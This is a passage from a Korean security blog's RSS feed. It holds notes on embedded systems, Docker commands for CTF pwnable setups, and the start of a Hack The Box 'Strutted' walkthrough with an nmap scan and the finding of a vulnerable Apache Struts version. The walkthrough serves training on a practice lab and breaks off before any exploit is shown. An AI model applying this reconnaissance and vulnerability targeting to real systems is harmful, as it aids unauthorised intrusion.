this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Microcontroller&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;CPU + 메모리 + 주변장치가 하나의 칩으로 이루어짐&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;저전력 및 저비용 장점&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대다수의 IoT 장비에 사용&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Ex. PPC, VxWorks, PIC 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NpTdI/dJMcacBsNet/6B3GPgETZ0hauw8WXrO540/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NpTdI/dJMcacBsNet/6B3GPgETZ0hauw8WXrO540/img.jpg&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1920&quot; data-is-animation=&quot;false&quot; width=&quot;310&quot; height=&quot;310&quot; style=&quot;width: 60.0156%; margin-right: 10px;&quot; data-widthpercent=&quot;60.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NpTdI/dJMcacBsNet/6B3GPgETZ0hauw8WXrO540/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNpTdI%2FdJMcacBsNet%2F6B3GPgETZ0hauw8WXrO540%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1920&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/USc7u/dJMcabCyoh0/SIpe5u1XKyU0Lyyv2CDT6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/USc7u/dJMcabCyoh0/SIpe5u1XKyU0Lyyv2CDT6k/img.png&quot; data-origin-width=&quot;381&quot; data-origin-height=&quot;589&quot; data-is-animation=&quot;false&quot; width=&quot;275&quot; height=&quot;425&quot; data-widthpercent=&quot;39.28&quot; style=&quot;width: 38.8216%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/USc7u/dJMcabCyoh0/SIpe5u1XKyU0Lyyv2CDT6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUSc7u%2FdJMcabCyoh0%2FSIpe5u1XKyU0Lyyv2CDT6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;381&quot; height=&quot;589&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Bare-Metal&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;운영체제 없이 MCU 칩에서 코드가 실행되며, 단일 기능을 위해 동작하는 시스템&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하나의 프로세스 또는 프로그램만 동작하기에 스케쥴러나 context switching 존재하지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;터치나 센서에 의해서 동작하는 장비가 많음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;281&quot; data-origin-height=&quot;179&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJF91/dJMcahW4Go3/HUdU4kosOVFuC6f7jIvMRk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJF91/dJMcahW4Go3/HUdU4kosOVFuC6f7jIvMRk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJF91/dJMcahW4Go3/HUdU4kosOVFuC6f7jIvMRk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJF91%2FdJMcahW4Go3%2FHUdU4kosOVFuC6f7jIvMRk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;191&quot; data-origin-width=&quot;281&quot; data-origin-height=&quot;179&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;RTOS (Real-Time Operation System)&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;실시간 처리 성능을 보장하도록 만들어진 운영체제&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Linux 운영체제에 비해 매우 작고 가벼움, 파일 시스템이 존재하지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Task/Thread 기반 멀티태스킹 지원&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Priority 기반의 task/thread 스케쥴링으로 항상 우선순위가 높은 task/thread가 먼저 실행&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;Priority Inversion 또는 Starvation 발생 가능&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AB3Jy/dJMcahbHAjw/ts73z1INVzvsaCaJ19z6Vk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AB3Jy/dJMcahbHAjw/ts73z1INVzvsaCaJ19z6Vk/img.jpg&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;160&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.4363%; margin-right: 10px;&quot; data-widthpercent=&quot;41.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AB3Jy/dJMcahbHAjw/ts73z1INVzvsaCaJ19z6Vk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAB3Jy%2FdJMcahbHAjw%2Fts73z1INVzvsaCaJ19z6Vk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;264&quot; height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMJH7d/dJMcafZf6Ir/qmb5YNvix3kVrYWKLZXrH1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMJH7d/dJMcafZf6Ir/qmb5YNvix3kVrYWKLZXrH1/img.jpg&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;525&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.4009%;&quot; data-widthpercent=&quot;58.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMJH7d/dJMcafZf6Ir/qmb5YNvix3kVrYWKLZXrH1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMJH7d%2FdJMcafZf6Ir%2Fqmb5YNvix3kVrYWKLZXrH1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;525&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Embedded linux&lt;/span&gt;&lt;b&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;임베디드 장치에서 동작하도록 경량화/최적화된 리눅스 운영체제&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보통 ARM, RISC-V, MIPS 같은 아키텍쳐 위에서 동작함&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;일반적인 linux OS의 특성을 그대로 가짐 (파일시스템, 부트로더, 커널)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPxMF9/dJMcaf51Ifn/BjDp6GiVfgTIhnbwkVlPGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPxMF9/dJMcaf51Ifn/BjDp6GiVfgTIhnbwkVlPGk/img.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-is-animation=&quot;false&quot; style=&quot;width: 63.2558%; margin-right: 10px;&quot; data-widthpercent=&quot;64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPxMF9/dJMcaf51Ifn/BjDp6GiVfgTIhnbwkVlPGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPxMF9%2FdJMcaf51Ifn%2FBjDp6GiVfgTIhnbwkVlPGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvT2GF/dJMcaihnuNT/d3BqbsQtMRpPqYKTwzXApK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvT2GF/dJMcaihnuNT/d3BqbsQtMRpPqYKTwzXApK/img.jpg&quot; data-origin-width=&quot;225&quot; data-origin-height=&quot;225&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;36&quot; style=&quot;width: 35.5814%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvT2GF/dJMcaihnuNT/d3BqbsQtMRpPqYKTwzXApK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvT2GF%2FdJMcaihnuNT%2Fd3BqbsQtMRpPqYKTwzXApK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;225&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Pwnable/Ananlysis</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/100</guid>
      <comments>https://tyrell96.tistory.com/100#entry100comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:58:18 +0900</pubDate>
    </item>
    <item>
      <title>Docker</title>
      <link>https://tyrell96.tistory.com/99</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile?&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제&amp;nbsp;익스플로잇이&amp;nbsp;되는&amp;nbsp;환경과&amp;nbsp;똑같은&amp;nbsp;환경을&amp;nbsp;제공하기&amp;nbsp;위해&amp;nbsp;사용&lt;/li&gt;
&lt;li&gt;Pwnable&amp;nbsp;문제의&amp;nbsp;경우&amp;nbsp;&amp;ldquo;로되리안&amp;rdquo;을&amp;nbsp;최소화하기&amp;nbsp;위하여&amp;nbsp;Dockerfile&amp;nbsp;전달&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;*로되리안 : &lt;span style=&quot;background-color: #ffffff; color: #555555; text-align: start;&quot;&gt;바로 로컬에서 exploit에 성공했는데 remote에서는 실패할때다. 이 상황을 로컬에선 되고 리모트에선 안된다는 의미로 '로되리안' 이라고 한다 (이유는 실제 환경이랑 로컬에서의 메모리 주소 값 등이 다른 경우 발생한다)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jf7BS/dJMcafkEhlW/ipGxsmU2xHX45arqsudK8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jf7BS/dJMcafkEhlW/ipGxsmU2xHX45arqsudK8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jf7BS/dJMcafkEhlW/ipGxsmU2xHX45arqsudK8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJf7BS%2FdJMcafkEhlW%2FipGxsmU2xHX45arqsudK8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;467&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Build를 하기 위해서는 Dockerfile이 있는 폴더로 이동하여 빌드를 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 빌드된 파일은 컨테이너라고 불리운다.&lt;/p&gt;
&lt;pre id=&quot;code_1763040056029&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#Docker build
docker build -t myimage:latest .(lastest는 생략 가능 버전정리를 위해 존재)
docker build -t myimage:1.0 ~/project/docker/ (타 폴더에 있을경우)

#Docker Run - base 파일을 기반으로 ctf-real 이라는 컨테이너 실행
sudo docker run -d -p 5006:5006 --name ctf-real ctf-base&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 실행한 컨테이너에 접근하기 위해서는 우선 컨테이너가 종료되지 않고 작동하고 있어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 접근하기 전에 이미 명령어가 끝나버렸다면 접근이 힘들기 때문에 start 후 바로 후킹하여 접근한다.&lt;/p&gt;
&lt;pre id=&quot;code_1763040459976&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#컨테이서 시작 및 삭제 명령어
sudo docker start -ai ctf-real
sudo docker stop ctf-real
sudo docker rm ctf-real

#컨테이너 내 파일 복사
sudo docker cp ctf-real:/home/gshs/chall ./

#실행한 컨테이너 접근 
sudo docker exec -it ctf-real

#만약 실행과 동시에 작업이 끝나는 겨우 접근 방법
sudo docker run -it ctf-real sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 docker를 실행할 때 도커안에 주요 프로그램 설치가 필요하다면 Dockerfile을 아래와 같이 수정하여 접근하면 해결이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/whQpX/dJMcaap6EVx/EDIkU2HdeV2in5SQKj2liK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/whQpX/dJMcaap6EVx/EDIkU2HdeV2in5SQKj2liK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/whQpX/dJMcaap6EVx/EDIkU2HdeV2in5SQKj2liK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwhQpX%2FdJMcaap6EVx%2FEDIkU2HdeV2in5SQKj2liK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;554&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Pwnable/Ananlysis</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/99</guid>
      <comments>https://tyrell96.tistory.com/99#entry99comment</comments>
      <pubDate>Thu, 13 Nov 2025 22:34:52 +0900</pubDate>
    </item>
    <item>
      <title>Stutted</title>
      <link>https://tyrell96.tistory.com/92</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;563&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUcwn2/btsN6QgudnM/SIB6ktWWai1IC7qKdZ1qTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUcwn2/btsN6QgudnM/SIB6ktWWai1IC7qKdZ1qTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUcwn2/btsN6QgudnM/SIB6ktWWai1IC7qKdZ1qTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUcwn2%2FbtsN6QgudnM%2FSIB6ktWWai1IC7qKdZ1qTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1253&quot; height=&quot;563&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;563&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747833003886&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(root㉿kali)-[~]
└─# nmap -sV 10.10.11.59 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 09:08 EDT
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노출된 기본 80 포트 접근시 strutted.htb로 리다이렉트 되지만 연결은 안되서&amp;nbsp; /etc/hosts 파일 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; hosts 파일에 아래 코드 추가&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747832823940&quot; class=&quot;accesslog&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;10.10.11.59 strutted.htb&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 메인 페이지 접근 후 Download 시도&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxfQzE/btsN6TK313b/oocUKCRaiBUBHKxIybaufk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxfQzE/btsN6TK313b/oocUKCRaiBUBHKxIybaufk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxfQzE/btsN6TK313b/oocUKCRaiBUBHKxIybaufk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxfQzE%2FbtsN6TK313b%2FoocUKCRaiBUBHKxIybaufk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1276&quot; height=&quot;803&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 zip 파일 풀기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;unzip strutted.zip -d strutted&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압축 파일의 dockerfile 내용을 보게되면&amp;nbsp; tomcat으로 구성된 docker 파일임을 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SZK9o/btsN6u5J17M/nNCkYBlhxdGmO7KdRbxct0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SZK9o/btsN6u5J17M/nNCkYBlhxdGmO7KdRbxct0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SZK9o/btsN6u5J17M/nNCkYBlhxdGmO7KdRbxct0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSZK9o%2FbtsN6u5J17M%2FnNCkYBlhxdGmO7KdRbxct0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;428&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strutted 폴더 내 pom.xml 확인 시 취약한 apache struts 6.3.0.1을 사용중임을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 버전 취약점은 업로드 시 경로를 변경하여 파일을 업로드 가능한 취약점&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCsmFQ/btsN6S6spYZ/iEqSB4OKO3Og08P6IHY0h1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCsmFQ/btsN6S6spYZ/iEqSB4OKO3Og08P6IHY0h1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCsmFQ/btsN6S6spYZ/iEqSB4OKO3Og08P6IHY0h1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCsmFQ%2FbtsN6S6spYZ%2FiEqSB4OKO3Og08P6IHY0h1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;463&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 파일 업로드 시도&lt;/p&gt;
